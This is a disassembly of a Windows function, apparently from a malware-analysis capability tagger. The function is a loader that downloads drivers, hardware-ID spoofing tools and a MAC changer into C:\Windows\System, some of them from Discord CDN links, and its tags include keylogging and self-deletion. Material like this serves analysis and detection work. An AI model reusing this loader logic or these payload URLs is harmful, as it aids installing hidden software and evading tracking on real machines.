Function at 0x1400434b0
Capabilities:
Check for time delay via gettickcount
Download url
Execute command
Log keystrokes via polling
Receive data
Self delete
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x808]
sub rsp, 0x8e0
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
movaps xmmword [rax - 0x68], xmm9
movaps xmmword [rax - 0x78], xmm10
movaps xmmword [rax - 0x88], xmm11
movaps xmmword [rax - 0x98], xmm12
movaps xmmword [rax - 0xa8], xmm13
movaps xmmword [rax - 0xb8], xmm14
movaps xmmword [rax - 0xc8], xmm15
mov rax, qword [0x140099040]
xor rax, rsp
mov qword [rbp + 0x738], rax
xor r12d, r12d
xorps xmm0, xmm0
movups xmmword [rbp + 0x510], xmm0
mov qword [rbp + 0x520], r12
mov qword [rbp + 0x528], 0xf
mov ecx, 0xc0
call fcn.1400482b4
mov r8, rax
mov qword [rbp + 0x510], rax
mov qword [rbp + 0x520], 0xbb
mov qword [rbp + 0x528], 0xbf
lea rdi, [0x140000000]
lea rcx, [rdi + 0x8fdb0]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rdx, [rax + 0x80]
movups xmm0, xmmword [rcx + 0x70]
movups xmmword [rdx - 0x10], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rcx]
movups xmmword [rdx], xmm1
movups xmm0, xmmword [rcx + 0x10]
movups xmmword [rdx + 0x10], xmm0
movups xmm1, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x20], xmm1
mov rax, qword [rcx + 0x30]
mov qword [rdx + 0x30], rax
movzx eax, word [rcx + 0x38]
mov word [rdx + 0x38], ax
movzx eax, byte [rcx + 0x3a]
mov byte [rdx + 0x3a], al
mov byte [r8 + 0xbb], r12b
xorps xmm0, xmm0
movups xmmword [rbp + 0x5f0], xmm0
mov qword [rbp + 0x600], r12
mov qword [rbp + 0x608], 0xf
lea ecx, [r12 + 0x30]
call fcn.1400482b4
mov qword [rbp + 0x5f0], rax
mov qword [rbp + 0x600], 0x21
mov qword [rbp + 0x608], 0x2f
movups xmm0, xmmword [str.C:WindowsSystem_amigendrv64.sys]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x14008fe80]
movups xmmword [rax + 0x10], xmm1
movzx ecx, byte [0x14008fe90]
mov byte [rax + 0x20], cl
mov byte [rax + 0x21], r12b
lea rdx, [rbp + 0x510]
cmp qword [rbp + 0x528], 0xf
cmova rdx, qword [rbp + 0x510]
mov qword [rsp + 0x20], r12
xor r9d, r9d
mov r8, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xorps xmm0, xmm0
movups xmmword [rbp + 0x430], xmm0
mov qword [rbp + 0x440], r12
mov qword [rbp + 0x448], 0xf
mov ecx, 0xc0
call fcn.1400482b4
mov r8, rax
mov qword [rbp + 0x430], rax
mov qword [rbp + 0x440], 0xba
mov qword [rbp + 0x448], 0xbf
lea rcx, [rdi + 0x8fea0]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rdx, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx - 0x10], xmm1
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x20], xmm0
mov rax, qword [rcx + 0xb0]
mov qword [rdx + 0x30], rax
movzx eax, word [rcx + 0xb8]
mov word [rdx + 0x38], ax
mov byte [r8 + 0xba], r12b
xorps xmm0, xmm0
movups xmmword [rbp + 0x5a0], xmm0
mov qword [rbp + 0x5b0], r12
mov qword [rbp + 0x5b8], 0xf
lea ecx, [r12 + 0x30]
call fcn.1400482b4
mov qword [rbp + 0x5a0], rax
mov qword [rbp + 0x5b0], 0x20
mov qword [rbp + 0x5b8], 0x2f
movups xmm0, xmmword [str.C:WindowsSystem_amifldrv64.sys]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x14008ff70]
movups xmmword [rax + 0x10], xmm1
mov byte [rax + 0x20], r12b
lea rdx, [rbp + 0x430]
cmp qword [rbp + 0x448], 0xf
cmova rdx, qword [rbp + 0x430]
mov qword [rsp + 0x20], r12
xor r9d, r9d
mov r8, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xorps xmm0, xmm0
movups xmmword [rbp + 0x410], xmm0
mov qword [rbp + 0x420], r12
mov qword [rbp + 0x428], 0xf
mov ecx, 0xc0
call fcn.1400482b4
mov r8, rax
mov qword [rbp + 0x410], rax
mov qword [rbp + 0x420], 0xbb
mov qword [rbp + 0x428], 0xbf
lea rcx, [rdi + 0x8ff90]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rdx, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx - 0x10], xmm1
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rcx]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x20], xmm0
mov rax, qword [rcx + 0x30]
mov qword [rdx + 0x30], rax
movzx eax, word [rcx + 0x38]
mov word [rdx + 0x38], ax
movzx eax, byte [rcx + 0x3a]
mov byte [rdx + 0x3a], al
mov byte [r8 + 0xbb], r12b
xorps xmm0, xmm0
movups xmmword [rbp + 0x5c8], xmm0
mov qword [rbp + 0x5d8], r12
mov qword [rbp + 0x5e0], 0xf
lea ecx, [r12 + 0x30]
call fcn.1400482b4
mov qword [rbp + 0x5c8], rax
mov qword [rbp + 0x5d8], 0x21
mov qword [rbp + 0x5e0], 0x2f
movups xmm0, xmmword [str.C:WindowsSystemAMIDEWINx64.exe]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x140090060]
movups xmmword [rax + 0x10], xmm1
movzx ecx, byte [0x140090070]
mov byte [rax + 0x20], cl
mov byte [rax + 0x21], r12b
lea rdx, [rbp + 0x410]
cmp qword [rbp + 0x428], 0xf
cmova rdx, qword [rbp + 0x410]
mov qword [rsp + 0x20], r12
xor r9d, r9d
mov r8, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xorps xmm0, xmm0
movups xmmword [rbp + 0x3f0], xmm0
mov qword [rbp + 0x400], r12
mov qword [rbp + 0x408], 0xf
mov ecx, 0xc0
call fcn.1400482b4
mov r8, rax
mov qword [rbp + 0x3f0], rax
mov qword [rbp + 0x400], 0xb7
mov qword [rbp + 0x408], 0xbf
lea rcx, [rdi + 0x90080]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rdx, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx - 0x10], xmm1
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rcx]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x20], xmm0
mov eax, dword [rcx + 0x30]
mov dword [rdx + 0x30], eax
movzx eax, word [rcx + 0x34]
mov word [rdx + 0x34], ax
movzx eax, byte [rcx + 0x36]
mov byte [rdx + 0x36], al
mov byte [r8 + 0xb7], r12b
xorps xmm0, xmm0
movups xmmword [rbp + 0x4f0], xmm0
mov qword [rbp + 0x500], r12
mov qword [rbp + 0x508], 0xf
lea ecx, [r12 + 0x20]
call fcn.1400482b4
mov r8, rax
mov qword [rbp + 0x4f0], rax
mov qword [rbp + 0x500], 0x1b
mov qword [rbp + 0x508], 0x1f
movups xmm0, xmmword [str.C:WindowsSystem_rfrsh.exe]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x140090148]
movsd qword [rax + 0x10], xmm0
movzx ecx, word [0x140090150]
mov word [rax + 0x18], cx
movzx eax, byte [0x140090152]
mov byte [r8 + 0x1a], al
mov byte [r8 + 0x1b], r12b
lea rdx, [rbp + 0x3f0]
cmp qword [rbp + 0x408], 0xf
cmova rdx, qword [rbp + 0x3f0]
mov qword [rsp + 0x20], r12
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xorps xmm0, xmm0
movups xmmword [rbp + 0x3d0], xmm0
mov qword [rbp + 0x3e0], r12
mov qword [rbp + 0x3e8], 0xf
mov ecx, 0xc0
call fcn.1400482b4
mov r8, rax
mov qword [rbp + 0x3d0], rax
mov qword [rbp + 0x3e0], 0xba
mov qword [rbp + 0x3e8], 0xbf
lea rcx, [rdi + 0x90160]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rdx, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx - 0x10], xmm1
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x20], xmm0
mov rax, qword [rcx + 0xb0]
mov qword [rdx + 0x30], rax
movzx eax, word [rcx + 0xb8]
mov word [rdx + 0x38], ax
mov byte [r8 + 0xba], r12b
xorps xmm0, xmm0
movups xmmword [rbp + 0x4d0], xmm0
mov qword [rbp + 0x4e0], r12
mov qword [rbp + 0x4e8], 0xf
lea ecx, [r12 + 0x20]
call fcn.1400482b4
mov qword [rbp + 0x4d0], rax
mov qword [rbp + 0x4e0], 0x1a
mov qword [rbp + 0x4e8], 0x1f
movups xmm0, xmmword [str.C:WindowsSystem_rstr.exe]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x140090230]
movsd qword [rax + 0x10], xmm0
movzx ecx, word [0x140090238]
mov word [rax + 0x18], cx
mov byte [rax + 0x1a], r12b
lea rdx, [rbp + 0x3d0]
cmp qword [rbp + 0x3e8], 0xf
cmova rdx, qword [rbp + 0x3d0]
mov qword [rsp + 0x20], r12
xor r9d, r9d
mov r8, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xorps xmm0, xmm0
movups xmmword [rbp + 0x3b0], xmm0
mov qword [rbp + 0x3c0], r12
mov qword [rbp + 0x3c8], 0xf
mov ecx, 0xc0
call fcn.1400482b4
mov rdx, rax
mov qword [rbp + 0x3b0], rax
mov qword [rbp + 0x3c0], 0xb8
mov qword [rbp + 0x3c8], 0xbf
lea rax, [rdi + 0x90240]
movups xmm0, xmmword [rax]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rdx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rdx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rdx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rdx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rdx + 0x90], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rdx + 0xa0], xmm0
mov rax, qword [rax + 0xb0]
mov qword [rdx + 0xb0], rax
mov byte [rdx + 0xb8], r12b
xorps xmm0, xmm0
movups xmmword [rbp + 0x4b0], xmm0
mov qword [rbp + 0x4c0], r12
mov qword [rbp + 0x4c8], 0xf
lea ecx, [r12 + 0x20]
call fcn.1400482b4
mov r8, rax
mov qword [rbp + 0x4b0], rax
mov qword [rbp + 0x4c0], 0x1d
mov qword [rbp + 0x4c8], 0x1f
movups xmm0, xmmword [str.C:WindowsSystem_asuscpu.exe]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x140090310]
movsd qword [rax + 0x10], xmm0
mov ecx, dword [0x140090318]
mov dword [rax + 0x18], ecx
movzx eax, byte [0x14009031c]
mov byte [r8 + 0x1c], al
mov byte [r8 + 0x1d], r12b
lea rdx, [rbp + 0x3b0]
cmp qword [rbp + 0x3c8], 0xf
cmova rdx, qword [rbp + 0x3b0]
mov qword [rsp + 0x20], r12
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xorps xmm0, xmm0
movups xmmword [rbp + 0x390], xmm0
mov qword [rbp + 0x3a0], r12
mov qword [rbp + 0x3a8], 0xf
mov ecx, 0xc0
call fcn.1400482b4
mov rdx, rax
mov qword [rbp + 0x390], rax
mov qword [rbp + 0x3a0], 0xb4
mov qword [rbp + 0x3a8], 0xbf
lea rax, [rdi + 0x90320]
movups xmm0, xmmword [rax]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rdx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rdx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rdx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rdx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rdx + 0x90], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rdx + 0xa0], xmm0
mov eax, dword [rax + 0xb0]
mov dword [rdx + 0xb0], eax
mov byte [rdx + 0xb4], r12b
xorps xmm0, xmm0
movups xmmword [rbp + 0x490], xmm0
mov qword [rbp + 0x4a0], r12
mov qword [rbp + 0x4a8], 0xf
lea ecx, [r12 + 0x20]
call fcn.1400482b4
mov r8, rax
mov qword [rbp + 0x490], rax
mov qword [rbp + 0x4a0], 0x1e
mov qword [rbp + 0x4a8], 0x1f
movups xmm0, xmmword [str.C:WindowsSystemuuidauto.exe]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x1400903e8]
movsd qword [rax + 0x10], xmm0
mov ecx, dword [0x1400903f0]
mov dword [rax + 0x18], ecx
movzx eax, word [0x1400903f4]
mov word [r8 + 0x1c], ax
mov byte [r8 + 0x1e], r12b
lea rdx, [rbp + 0x390]
cmp qword [rbp + 0x3a8], 0xf
cmova rdx, qword [rbp + 0x390]
mov qword [rsp + 0x20], r12
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xorps xmm0, xmm0
movups xmmword [rbp + 0x370], xmm0
mov qword [rbp + 0x380], r12
mov qword [rbp + 0x388], 0xf
mov ecx, 0xc0
call fcn.1400482b4
mov rdx, rax
mov qword [rbp + 0x370], rax
mov qword [rbp + 0x380], 0xb4
mov qword [rbp + 0x388], 0xbf
lea rax, [rdi + 0x90400]
movups xmm0, xmmword [rax]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rdx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rdx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rdx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rdx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rdx + 0x90], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rdx + 0xa0], xmm0
mov eax, dword [rax + 0xb0]
mov dword [rdx + 0xb0], eax
mov byte [rdx + 0xb4], r12b
xorps xmm0, xmm0
movups xmmword [rbp + 0x530], xmm0
mov qword [rbp + 0x540], r12
mov qword [rbp + 0x548], 0xf
lea ecx, [r12 + 0x20]
call fcn.1400482b4
mov r8, rax
mov qword [rbp + 0x530], rax
mov qword [rbp + 0x540], 0x1e
mov qword [rbp + 0x548], 0x1f
movups xmm0, xmmword [str.C:WindowsSystem_bios_gpu.exe]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x1400904c8]
movsd qword [rax + 0x10], xmm0
mov ecx, dword [0x1400904d0]
mov dword [rax + 0x18], ecx
movzx eax, word [0x1400904d4]
mov word [r8 + 0x1c], ax
mov byte [r8 + 0x1e], r12b
lea rdx, [rbp + 0x370]
cmp qword [rbp + 0x388], 0xf
cmova rdx, qword [rbp + 0x370]
mov qword [rsp + 0x20], r12
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, str.https:__cdn.discordapp.com_attachments_1102626107846565909_1198390930777067671_BaseBoardMsi1.exe_ex65bebb86is65ac4686hm36ddf15d8687d176b8a10bbccdc157097df5d672d30c3196b35f65144c475860
lea rcx, [rbp + 0x618]
call fcn.1400471c0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x470], xmm0
mov qword [rbp + 0x480], r12
mov qword [rbp + 0x488], 0xf
lea ecx, [r12 + 0x20]
call fcn.1400482b4
mov r8, rax
mov qword [rbp + 0x470], rax
mov qword [rbp + 0x480], 0x1e
mov qword [rbp + 0x488], 0x1f
movups xmm0, xmmword [str.C:WindowsSystemBasebord.exe]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x1400905b0]
movsd qword [rax + 0x10], xmm0
mov ecx, dword [0x1400905b8]
mov dword [rax + 0x18], ecx
movzx eax, word [0x1400905bc]
mov word [r8 + 0x1c], ax
mov byte [r8 + 0x1e], r12b
lea rdx, [rbp + 0x618]
cmp qword [rbp + 0x630], 0xf
cmova rdx, qword [rbp + 0x618]
mov qword [rsp + 0x20], r12
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xorps xmm0, xmm0
movups xmmword [rbp + 0x350], xmm0
mov qword [rbp + 0x360], r12
mov qword [rbp + 0x368], 0xf
mov ecx, 0xc0
call fcn.1400482b4
mov rdx, rax
mov qword [rbp + 0x350], rax
mov qword [rbp + 0x360], 0xb8
mov qword [rbp + 0x368], 0xbf
lea rax, [rdi + 0x905c0]
movups xmm0, xmmword [rax]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rdx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rdx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rdx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rdx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rdx + 0x90], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rdx + 0xa0], xmm0
mov rax, qword [rax + 0xb0]
mov qword [rdx + 0xb0], rax
mov byte [rdx + 0xb8], r12b
xorps xmm0, xmm0
movups xmmword [rbp + 0x558], xmm0
mov qword [rbp + 0x568], r12
mov qword [rbp + 0x570], 0xf
lea ecx, [r12 + 0x20]
call fcn.1400482b4
mov r8, rax
mov qword [rbp + 0x558], rax
mov qword [rbp + 0x568], 0x1e
mov qword [rbp + 0x570], 0x1f
movups xmm0, xmmword [str.C:WindowsSystemVolumeid.exe]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x140090690]
movsd qword [rax + 0x10], xmm0
mov ecx, dword [0x140090698]
mov dword [rax + 0x18], ecx
movzx eax, word [0x14009069c]
mov word [r8 + 0x1c], ax
mov byte [r8 + 0x1e], r12b
lea rdx, [rbp + 0x350]
cmp qword [rbp + 0x368], 0xf
cmova rdx, qword [rbp + 0x350]
mov qword [rsp + 0x20], r12
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xorps xmm0, xmm0
movups xmmword [rbp + 0x330], xmm0
mov qword [rbp + 0x340], r12
mov qword [rbp + 0x348], 0xf
mov ecx, 0xc0
call fcn.1400482b4
mov r8, rax
mov qword [rbp + 0x330], rax
mov qword [rbp + 0x340], 0xba
mov qword [rbp + 0x348], 0xbf
lea rcx, [rdi + 0x906a0]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rdx, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx - 0x10], xmm1
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x20], xmm0
mov rax, qword [rcx + 0xb0]
mov qword [rdx + 0x30], rax
movzx eax, word [rcx + 0xb8]
mov word [rdx + 0x38], ax
mov byte [r8 + 0xba], r12b
xorps xmm0, xmm0
movups xmmword [rbp + 0x578], xmm0
mov qword [rbp + 0x588], r12
mov qword [rbp + 0x590], 0xf
lea ecx, [r12 + 0x30]
call fcn.1400482b4
mov qword [rbp + 0x578], rax
mov qword [rbp + 0x588], 0x20
mov qword [rbp + 0x590], 0x2f
movups xmm0, xmmword [str.C:WindowsSystemVolumeid64.exe]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x140090770]
movups xmmword [rax + 0x10], xmm1
mov byte [rax + 0x20], r12b
lea rdx, [rbp + 0x330]
cmp qword [rbp + 0x348], 0xf
cmova rdx, qword [rbp + 0x330]
mov qword [rsp + 0x20], r12
xor r9d, r9d
mov r8, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xorps xmm0, xmm0
movups xmmword [rbp + 0x450], xmm0
mov qword [rbp + 0x460], r12
mov qword [rbp + 0x468], 0xf
mov ecx, 0xc0
call fcn.1400482b4
mov r8, rax
mov qword [rbp + 0x450], rax
mov qword [rbp + 0x460], 0xb7
mov qword [rbp + 0x468], 0xbf
lea rcx, [rdi + 0x90790]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rdx, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx - 0x10], xmm1
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rcx]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x20], xmm0
mov eax, dword [rcx + 0x30]
mov dword [rdx + 0x30], eax
movzx eax, word [rcx + 0x34]
mov word [rdx + 0x34], ax
movzx eax, byte [rcx + 0x36]
mov byte [rdx + 0x36], al
mov byte [r8 + 0xb7], r12b
lea rdx, str.C:WindowsSystemdiskvolume.exe
lea rcx, [rbp + 0x658]
call fcn.1400471c0
nop
lea rcx, [rbp + 0x658]
call fcn.140047150
mov r8, rax
lea rcx, [rbp + 0x450]
call fcn.140047150
mov qword [rsp + 0x20], r12
xor r9d, r9d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, str.https:__cdn.discordapp.com_attachments_1102626107846565909_1200523357888708618_mac.exe_ex65c67d81is65b40881hm0b7c2bf51aefd6b91a6a5c2bb6304a5672d44f8193fd806e0abd5aff9381f942
lea rcx, [rbp + 0x6b8]
call fcn.1400471c0
nop
lea rdx, str.C:WindowsSystemmac.exe
lea rcx, [rbp + 0x638]
call fcn.1400471c0
nop
lea rcx, [rbp + 0x638]
call fcn.140047150
mov r8, rax
lea rcx, [rbp + 0x6b8]
call fcn.140047150
mov qword [rsp + 0x20], r12
xor r9d, r9d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, str.https:__cdn.discordapp.com_attachments_1102626107846565909_1124049944718884945_MAC_Changer.exe
lea rcx, [rbp + 0x698]
call fcn.1400471c0
nop
lea rdx, str.C:WindowsSystemmacchanger.exe
lea rcx, [rbp + 0x678]
call fcn.1400471c0
nop
lea rcx, [rbp + 0x678]
call fcn.140047150
mov r8, rax
lea rcx, [rbp + 0x698]
call fcn.140047150
mov qword [rsp + 0x20], r12
xor r9d, r9d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov dword [rbp + 0x2e0], 0x50
mov dword [rbp + 0x2e4], 0x40
lea rax, [0x140047070]
mov qword [rbp + 0x2e8], rax
mov qword [rbp + 0x2f0], r12
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rbp + 0x2f8], rax
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x300], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x310], xmm1
lea rax, str.Loader
mov qword [rbp + 0x320], rax
mov qword [rbp + 0x328], r12
lea rcx, [rbp + 0x2e0]
call qword [sym.imp.USER32.dll_RegisterClassExA]
mov qword [rsp + 0x58], r12
mov rax, qword [rbp + 0x2f8]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], r12
mov dword [rsp + 0x38], 5
mov dword [rsp + 0x30], 5
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], r12d
mov r9d, 0x80000000
lea r8, str.Windows_client
mov rdx, qword [rbp + 0x320]
xor ecx, ecx
call qword [sym.imp.USER32.dll_CreateWindowExA]
mov qword [0x1400abb48], rax
call fcn.140043030
test al, al
